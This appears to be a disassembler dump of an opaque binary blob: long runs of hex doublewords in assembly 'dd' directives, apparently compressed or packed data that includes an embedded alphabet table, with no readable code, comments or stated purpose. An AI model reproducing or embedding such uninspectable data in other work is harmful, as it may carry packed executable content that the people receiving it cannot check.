0E48BA13h, 0C20776A2h, 5721C385h, 2BE35680h dd 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h, 5D8D6300h, 28C25F90h dd 0E7FC0008h, 0A4F8C4CAh, 270045CEh, 48F324DAh, 1E1E91EFh dd 40441A22h, 7538920h, 0C0074FC4h, 0E6E8D4A3h, 0ACCD82D0h dd 0C66E00B7h, 0F43FF02Bh, 803C2606h, 0C0FE02FCh, 60752D0Ah dd 59DE4ABh, 412E74C4h, 0A4A68146h, 5ECDE4F9h, 3880500h dd 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h, 0EB5BF0ABh, 0A400CC88h dd 0D8DEA1C3h, 1B8C41h, 7FD307Ch, 4DFF01F5h, 7475F425h dd 0BB0D00C4h, 3414DE45h, 0E40FC400h, 41AB127Eh, 43290104h dd 4B0B1F91h, 0F9987150h, 0DEC16031h, 6BB86600h, 2E6C9622h dd 9E1E00EBh, 9A88FC25h, 0DD004517h, 0F7EE7E0h, 1CC9B258h dd 808DF228h, 0BF065975h, 0C200AA9Ah, 45D36649h, 64E31Ah dd 0A9F938B4h, 847A16D8h, 736D3100h, 0C92E3283h, 8DA70008h dd 0D0445F46h, 0F5008925h, 0A03D0320h, 58227507h, 4600BB09h dd 119FA506h, 737B90AAh, 9D7E811Fh, 326B800h, 0E1340h dd 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h, 69053FFFh, 2104E12Fh dd 5B6C7048h, 83C44000h, 0E051ECA2h, 0E1D901F4h, 72BFE837h dd 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h, 83DD3C48h, 0FAA8D401h dd 0FC410B70h, 9A00DA09h, 0F8EF80BCh, 7E675DFh, 3187BF2h dd 9B6BF0BAh, 4400148Ah, 7DDE515h, 8E8C0h, 660F7004h, 45E33005h dd 621DE27Ch, 480032EBh, 64CBCAAh, 82F0073h, 8205C879h dd 0C00F83Bh, 0A303C96h, 712FF83h, 8027730Fh, 351F707Ch dd 44E425C6h, 4FE00E00h, 0FE0D781Ah, 13800011h, 0EBED7739h dd 2F981F14h, 3128A601h, 525F9862h, 7A533530h, 21190325h dd 0F150A190h, 77835688h, 0C1303A00h, 389D6EAh, 53120088h dd 6A80C302h, 6008BEEh, 0A0042ECEh, 7CA0BC8h, 0B46B840Fh dd 79FC4069h, 5C2C9DAEh, 0EA008361h, 1EFF13F3h, 607A00D1h dd 1F7C04F6h, 0F4891BFh, 82D0EFDh, 81A70064h, 0B6B3DAh dd 15730DE0h, 0E0549F2h, 27D22103h, 98989378h, 0DFF410h dd 0B8D7146Dh, 0C22B122Ah, 0DA790104h, 9FC18534h, 0E44062F5h dd 614057h, 0F7A4B91Bh, 0C0DF6A1h, 0F93DFE00h, 24C4811Eh dd 1F75000Fh, 0EBECCC49h, 0A00397Bh, 0AA3004C1h, 1E7820h dd 2122D489h, 0EA44316Ch, 0B009873h, 3134C8Dh, 0C61602h dd 80D58207h, 0F7D1853Fh, 0CCB9540Eh, 0E5EB271Fh, 88D271E0h dd 0D5FB008Ah, 6FF19E9h, 0B900F008h, 9D9B1CD1h, 261EBA7Dh dd 27E2DBh, 6BF89A6h, 0F600E8EEh, 3E13C185h, 5C0DFF80h dd 303AD7C5h, 464E0107h, 7075F0FCh, 7D008286h, 53A0CE0h dd 2C6699h, 1246152Bh, 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h dd 5CD4B81Dh, 0E83B960Ch, 2A582B80h, 9C43D003h, 0DE252404h dd 0BDC11362h, 0AAFC8498h, 1C35F212h, 825002F9h, 3E52E0D9h dd 3FDFB0E0h, 0DB6EEB00h, 8AFF9B8Eh, 0D2A90266h, 0B0179E26h dd 0DD90C1E3h, 527F89BCh, 906D2800h, 0C30B859Bh, 989900ACh dd 4ECA4320h, 0C40027DDh, 0F03A2CF3h, 0F730Ah, 290DDA26h dd 0CE904349h, 53B80600h, 131CEA52h, 140E008Ah, 619DB3CAh dd 0A93D9428h, 6BE4002Ah, 9040EDD2h, 0F4FA0381h, 720A9E9Ch dd 2143801h, 0BCC54BB5h, 0B871F8h, 250E978Ah, 0F0340F4h dd 0B67850Fh, 7606A055h, 0FE81216h, 3F957AA7h, 741B0520h dd 1C002029h, 16B93862h, 3C278B40h, 0DF8FB015h, 5B40C477h dd 0B932D1B8h, 3D52073Fh, 34450030h, 0AF3F272Bh, 43906Ah dd 511008EEh, 88154B90h, 42003EB8h, 0E40C2344h, 1E793A14h dd 73918Ah, 85080A5Ch, 0B11E0490h, 210074FCh, 2CEC64F8h dd 60422CE0h, 56520027h, 97915014h, 0CF19507h, 8762FC78h dd 8225C008h, 0B8400073h, 8C5D54BCh, 8D0024D7h, 158B64A8h dd 8043F3h, 0CB4EC93Dh, 1C303312h, 9810BA00h, 708D404Bh dd 734F00D4h, 76B30BC4h, 743F8744h, 0EC7A8045h, 5798F20Dh dd 258C006Fh, 302F206Eh, 42E4F178h, 1C0E397Eh, 0E7760410h dd 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h, 33E9ABAh dd 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh, 408A07D0h dd 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h, 71060B41h dd 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h, 53F8F420h dd 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h, 8D122E7Ch dd 0E0E3353h dd 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh, 0F2015AC3h, 76F68500h dd 3C647163h, 0CAE029h, 0EEE0E9C1h, 35FF983h, 1F7E800h dd 0E78166FAh, 0BA0F00FFh, 2CE5C26h, 0C7003BF8h, 9DD02177h dd 10CDF5h, 4E14069Fh, 0E09373FAh, 0B507247Eh, 47E88801h dd 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch, 1F0F5372h, 0CC10E4C6h dd 4E0002E0h, 0B8B9D75h, 0E498C985h, 0FF7A3E35h, 3BCAFB80h dd 4F5FE15Ah, 0E54EB014h, 2BA9008Ch, 4C770CBAh, 0DAB8177Dh dd 0C2690145h, 30080110h, 0CE1F71A7h, 3ABE5920h, 16378099h dd 0B1438D27h, 0E06E00C3h, 0E9775A35h, 0CC03CA55h, 0C085C950h dd 0C73CA876h, 0D6810033h, 0F30C5D70h, 100E540h, 0DC92772h dd 71C2F002h, 0D68B3E13h, 0CF507480h, 0F8D103D2h, 87057539h dd 0CEB3201h, 0B4A6B080h, 0A02F0054h, 91757948h, 11FE42A5h dd 0B657700h, 75676B5h, 5478ABh, 9D7B22BBh, 0BFAE3CECh dd 0B10C7000h, 9A2DC2B4h, 0A049481Ch, 0CE34A11Dh, 52E0880Ah dd 0FED0845Fh, 77F23200h, 0C8F94CAh, 0FAD1004Bh, 8A7F2089h dd 11005653h, 0B8E1CB27h, 0ADA17h, 76F4F0Fh, 0E3C8FDF2h dd 8A225500h, 0BDEAF8FCh, 759F008Bh, 5334AA87h, 0C7027C8Dh dd 0CA1E88A3h, 840740C3h, 28A00D5h, 274307ECh, 0DE004647h dd 7570B033h, 28E6E8h, 2A09BC80h, 4B26048Bh, 16C78A00h dd 0F13E0649h, 0F40000Dh, 0C8E65B81h, 7D3B0C34h, 37311824h dd 5711DCh, 40478014h, 0D97B754Bh, 28EFF100h, 50390563h dd 4E8E8B9h, 0CF498F20h, 0F8E280ECh, 0B100B054h, 2E0BAFFh dd 39735C8h, 496071A7h, 0D9B013FCh, 2900ADC2h, 4B89A09Dh dd 7CDB85h, 5843762Dh, 0A5799FD7h, 41023000h, 0FF5EE180h dd 0D9953C01h, 0E9181480h, 0C70A57E2h, 88A11C00h, 0F21F75Dh dd 408C0059h, 183C8D12h, 307F2AC3h, 2ED61F00h, 2410A9EBh dd 75217EABh, 0E3800002h, 0FC3245F3h, 75011A6Ah, 0FE4134F0h dd 0D670DFB6h, 0E52C0749h, 0E07D3173h, 0B9FF3E62h, 4D9FD400h dd 5F9589ECh, 9334001Ch, 9BDD88B0h, 1A1D0C71h, 0A89DE410h dd 6EB78680h, 0C776B4h, 0DE3D34Ah, 0D6E8FD4Fh, 7E400401h dd 4730BE21h, 0E0446130h, 13FF7D18h, 1A2CBFh, 0AF4ED6FAh dd 0F2B89F23h, 59760E9h, 5FE4FE00h, 82783EBAh, 5816037Bh dd 9297831Dh, 755BC998h, 33ADFC00h, 8D487C06h, 89231FBBh dd 0A7084157h, 61042035h, 904EF815h, 54A2FE03h, 8041C59Ch dd 7444342h, 48474645h, 4B4A0049h, 4E004D4Ch, 0A51504Fh dd 38545352h, 5801C655h, 62615A59h, 6564C063h, 68676603h dd 806B6A69h, 76E6D6Ch, 7271706Fh, 75740073h, 780E7776h dd 307A79h, 34333231h, 37361C35h, 2B390038h, 24203D2Fh dd 9D284Ch, 7D7B5D5Bh, 703A3B2Ch, 5C5F002Dh, 927222Ah dd 91000D0Ah, 0AAE4C4E0h, 7388E867h, 0DA950F04h, 0C55E24FFh dd 0C084EA21h, 0EC8B2706h, 1490B926h, 3620CB03h, 70D5A801h dd 15E60FFCh, 0C62080B5h, 5C49E960h, 9E099B00h, 9C732D85h dd 947A00FCh, 114A641Bh, 96FC6B5Bh, 8CEC9F00h, 0DB2D16DCh dd 0C39707C0h, 914B5421h, 0FC66C204h, 190759E4h, 941FEBECh dd 956BC70h, 4052008Ah, 0D4CF5C7Ch, 33001571h, 0FF273929h dd 3C4BA3F4h, 790010FDh, 83481F05h, 400093C8h, 0A5CEB6F0h dd 823252h, 0D98CD5F4h, 0C6660347h, 11F01600h, 5521429Fh dd 4ABF0051h, 6C7EE292h, 0BB0076E1h, 0EB071569h, 41B929h dd 0DC30630Ah, 0AB83E806h, 5600807Eh, 0E7C1157Ch, 0F869CFh dd 8BFD097Dh, 7E58562h, 8F82B80Eh, 464BC10Bh, 3D60ED05h dd 76EA00F0h, 2BBCE14h, 0C7143032h, 0CAF468h, 0EFC11A13h dd 1C6FF24h, 336AD94h, 41FA6E7Eh, 2B13ED8Ch, 6AA1B0h, 0A6C246Dh dd 7BEF947Fh, 15684A00h, 648CD44h, 387A4Bh, 519E418Bh dd 2F02BAF3h, 921ACF07h, 0E83084E9h, 7BDD206h, 0A7EC4FF9h dd 2ADF90C2h, 2004589h, 169F4999h, 0ECD9C65Ah, 6B7623h dd 2F42C288h, 0F0CA36FFh, 0BA70E100h, 0F969CB33h, 0AD5C00D4h dd 6068A240h, 627F6FD8h, 3BB50303h, 0A86D5AA4h, 1FE361Dh dd 5315C83Fh, 0D4952D01h, 0D8023B81h, 0C029B27Ch, 6EE0E01Bh dd 592EC49h, 50B1C594h, 2132839Fh, 0B2525207h, 62B071C4h dd 790B0A0Dh, 1EB473FFh, 15D80CAh, 0B186A9C6h, 0A33EF44Fh dd 50495307h, 16B5B95Bh, 32A0C1C7h, 0FC982A64h, 0F8281C13h dd 5EB9C023h, 52250194h, 4690200h, 484EB36Fh, 0A25F0010h dd 0BF446CF0h, 25001609h, 9DC24FAEh, 3081B8h, 9208E2C1h dd 0E90071Dh, 47D10B00h, 75484B0Dh, 782E74EEh, 0FAB70066h dd 498A01D3h, 0C0F8840h, 206A4306h, 0E183CAC1h, 6CD5003Fh dd 184C2596h, 0EAFA270Eh, 6031E70Fh, 0D6D4006Bh, 79FC6ACh dd 68B1527Fh, 900A97C9h, 750BCB7Eh, 6B80D100h, 902D37D8h dd 0B85000E6h, 477CE29Fh, 3F72A4A3h, 4058AB00h, 252785A1h dd 9F000C6h, 5F1CF405h, 8F000F15h, 334E99A4h, 0EC859A23h dd 0F36A0058h, 0CAA15AA9h, 761E05F1h, 308A2B8Dh, 7C01BB3Ah dd 0E0EFE378h, 0A2D0D6F5h, 0A4EC64h, 0F692FF30h, 75023A07h dd 0E2C64600h, 94D701EFh, 0F83E0F17h, 7CC08483h, 0B6D44733h dd 0BCA8E07h, 5E90148Dh, 139629h, 0C9241C1Eh, 0FE0274B1h dd 1ADC0900h, 0D280B8FFh, 3B5E079h, 754F4304h, 7DD830D3h dd 10017414h, 0C45B1FFh, 0C03E3B08h, 0A689057Ah, 2EDDF400h dd 44D12D1h, 341D0F65h, 4700F78Ah, 0FD44F8A1h, 0A200D9E4h dd 6590899Dh, 582E38h, 0F02D704Fh, 10E9A151h, 0A2271801h dd 74532F85h, 0BCD1D8h, 0B9546A1Dh, 4C9CD4F3h, 90CB8B1Dh dd 4717CDC0h, 1E8AEB5h, 0F6B02BCFh, 20E6D655h, 0F0122C84h dd 9CECC3FAh, 0D465007Eh, 0C1E4ED15h, 0F7000316h, 0CE2B94BFh dd 756247h, 12EC04B9h, 0A7C82728h, 1114D3Ch, 2EDE2CD3h dd 0C0D7A242h, 1EAED4A3h, 8FCAA4E4h, 5A3DD69h, 0DCB87610h dd 0D0018BD7h, 89DF6F62h, 9220A270h, 107891h, 13A9D812h dd 2C78F0CBh, 80060B00h, 60E25C3Bh, 4BFEFEh, 0B57EB0DEh dd 0E5BD2AECh, 154F1B00h, 194558F4h, 927777h, 7FB7DD56h dd 5E5F630Bh, 0F4716001h, 91A5C438h, 875F0h, 0F24A5A33h dd 44022717h, 41A4EF00h, 69E95748h, 5FEC6Fh, 37814531h dd 9453885Bh, 57018D7Ah, 0E8719D0Dh, 46C847BFh, 17C800A0h dd 5FC34287h, 34029CDDh, 0F0C5FC91h, 2256C1AAh, 3812CCh dd 72F77DA4h, 19681384h, 0C174C600h, 505FC752h, 0A69F00BDh dd 9D0F7386h, 2C000279h, 34EC9632h, 64AF37h, 39C495C6h dd 56B29EB3h, 0C585F71Fh, 4DB86345h, 0C3EC58C0h, 0D31D003Fh dd 0A632E606h, 0A094B17h, 0CDE7B1h, 3A25A58Eh, 0E6AAEC29h dd 93FA0044h, 0D01B9266h, 5E01BB65h, 14B45026h, 2AD419F2h dd 0C79F0987h, 0E60089A9h, 0AF560574h, 316F839h, 9CB466ACh dd 0D88CC364h, 758BDDh, 4B937C2Fh, 6A24A058h, 7A820300h dd 5AC773A4h, 0BA727Eh, 27841D5h, 0C327116Ch, 4B8E5901h dd 0A6B01E5Fh, 40D2ECh, 7517496Fh, 227C3966h, 0A39F4507h dd 86202F71h, 0D94161h, 7BDB2529h, 676F881h, 35A85500h dd 75AE2638h, 0CB450093h, 1834EA74h, 232E04DFh, 0AC034A08h dd 0E88237EBh, 641AE2h, 0A6432101h, 9854B34Ah, 0FC93B909h dd 48815F69h, 0D4022D6Ah, 7D004DBEh, 0C59B05A4h, 0B062A7h dd 42BFC963h dd 1C8F36A8h, 0FF96D100h, 0C4B8BC6Ah, 124F1D5Bh, 9C5C044h dd 2C464772h, 40703802h, 7D94C0AAh, 0E8C0230Fh, 0FC9591DBh dd 45F60A7Dh, 8D268F00h, 7AF2357Bh, 1AD2052Fh, 0C0F007D3h dd 0C2552B85h, 0F4D07800h, 1B3BC13h, 100B002Eh, 0E881A64Ah dd 910F2924h, 60F164A5h, 9F0D9669h, 95840046h, 866A4BF6h dd 0E8075414h, 302B75FCh, 0F0CBE693h, 0E329BAh, 0AC2C164Ch dd 0F55CF4E4h, 48FC2D01h, 5A59A165h, 70A580F4h, 0A62107E2h dd 436C14C4h, 35A94485h, 5F51E0DCh, 92F46000h, 0C9311EFCh dd 0CA090549h, 80405553h, 0C807302Dh, 94E98800h, 0B6F2E06Ch dd 667C08h, 0D806EBD1h, 35F00973h, 83203E1Ch, 0B8F38100h dd 0CEFEEDh, 31EB1C75h, 4FDA8EC1h, 5BD5E100h, 0EF6CD2F7h dd 0A5D0003Eh, 0AFA955C0h, 61004384h, 97C447D4h, 0E8510E2h dd 28BFEDA0h, 0EC41DA0Fh, 0F0A8E0D6h, 0BBFC59ADh, 80F3A53Eh dd 46712D63h, 7B849743h, 0FC1807B2h, 518A1403h, 0C09DDF92h dd 9EB0D368h, 0F8043Dh, 5DD0D45Fh, 3CC60150h, 8980B0A2h dd 85FC29B7h, 4DEE17A9h, 7B2CDC00h, 5A241051h, 0E8010021h dd 0B1ECDD4Fh, 93057102h, 52DF2347h, 0F31617C0h, 4FAC0028h dd 77E50FCCh, 3E002941h, 0C8099412h, 1B1697h, 0F9A8072Dh dd 7CD15A58h, 0F0564500h, 0BA51F6E6h, 5B380160h, 0CE077948h dd 0B146CCEBh, 10FE8300h, 0C1ECF1EDh, 0DC95005Eh, 96D37224h dd 0A800ABE2h, 67BD1E75h, 0E8D1ED2Bh, 8CB000E6h, 70834FF8h dd 7C0058FFh, 3C709EFh, 9160C0h, 0A8A0048Ah, 3B94980Bh dd 61114A00h, 51010244h, 0E3C10012h, 88C33683h, 71174606h dd 2800295Fh, 34B264ABh, 0A58B1DAEh, 0E45200D2h, 92B2CB1h dd 5CC45905h, 0C8016278h, 565B5A02h, 7F89760h, 8BFC12AAh dd 40C2B7F3h, 789E7908h, 0B1A96000h, 985E58Eh, 0FE500134h dd 4D8B42ACh, 0FD94DCDAh, 51E8AFF8h, 7400197Bh, 49CF5C1Fh dd 1D952044h, 8D1118h, 0CEEA2FA3h, 0AB984556h, 58B02100h dd 209EA967h, 2AF3007Eh, 2C29BC6Dh, 0D8E89F57h, 0CA529C00h dd 42A4968Fh, 0D575FFh, 0ABE8C3C1h, 290C3292h, 0AF880807h dd 0ACE0DB7Ah, 1CC21FCAh, 0C0E69443h, 1C77CEEDh, 61E2BA6h dd 814097AAh, 0E38D5426h, 5E280070h, 0DCBC2C4Fh, 0F277C28Bh dd 0B689E200h, 912F1CAAh, 834000E4h, 64751EF8h, 0DE019A5Dh dd 0E83120BBh, 646049A3h, 0B7241E79h, 0A2A500A9h, 4659DE5Ch dd 62B52900h, 2EA68A3Dh, 891A0010h, 0AE1F783Bh, 0EF1E200Dh dd 0A2405096h, 8B100E75h, 0A98D00FEh, 7ADF1DEh, 6600A5F3h dd 2D5B1E29h, 51AABDh, 0CBCC734Ch, 0C9705CB8h, 0BD4E000h dd 3F77FC45h, 29C400F5h, 7C27785Eh, 4C0081A9h, 0B22B1ED9h dd 3B8352C0h, 0BD0088DAh, 0B3ABFE59h, 0B900D40Ah, 33B4A913h dd 1420AAh, 5F90C3C9h, 0AF81EA92h, 5108B900h, 0E97C805Eh dd 126E001Fh, 7B74A9DDh, 500EB3Bh, 570F01B5h, 0C282Ch dd 92049EC8h, 0CCE40DC9h, 0EE063Ch, 10D008D4h, 0F831FCh dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h, 94EF0361h dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh, 0C80A91D9h dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h, 0E48C01AFh dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h, 0FA80DC01h dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh dd 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah, 0B4F845B7h dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h, 2714914Fh dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h, 0D98F04ECh dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh dd 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h, 0AC318Bh dd 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch dd 0B85D3207h, 89C9B412h dd 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h, 6642411Eh dd 21F34C47h, 387EBC7Ch, 0BF00493Eh, 19EBE8D2h, 0A800C3BEh dd 0B48EA30Eh, 9E2FACh, 1DA6759Fh, 42485536h, 62034BF8h dd 0D89B545h, 44A9D06Dh, 0A5CE0191h, 22D725BFh, 0B8AFC47h dd 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h, 7BB8BA2Ch dd 3F6051ECh, 0BE80D616h, 105E0BB9h, 28808875h, 0CCAB85FBh dd 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h, 74047864h dd 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h, 9559B745h dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh dd 0C19062h, 88792B52h, 650078BFh, 80C1B0B7h, 107EBh, 3A740472h dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h dd 20E6305h, 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh dd 4A97892Bh, 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh dd 4B7E0D0h, 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h dd 1326FE9h, 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah dd 5161DA4Bh, 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch dd 0D37330h, 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 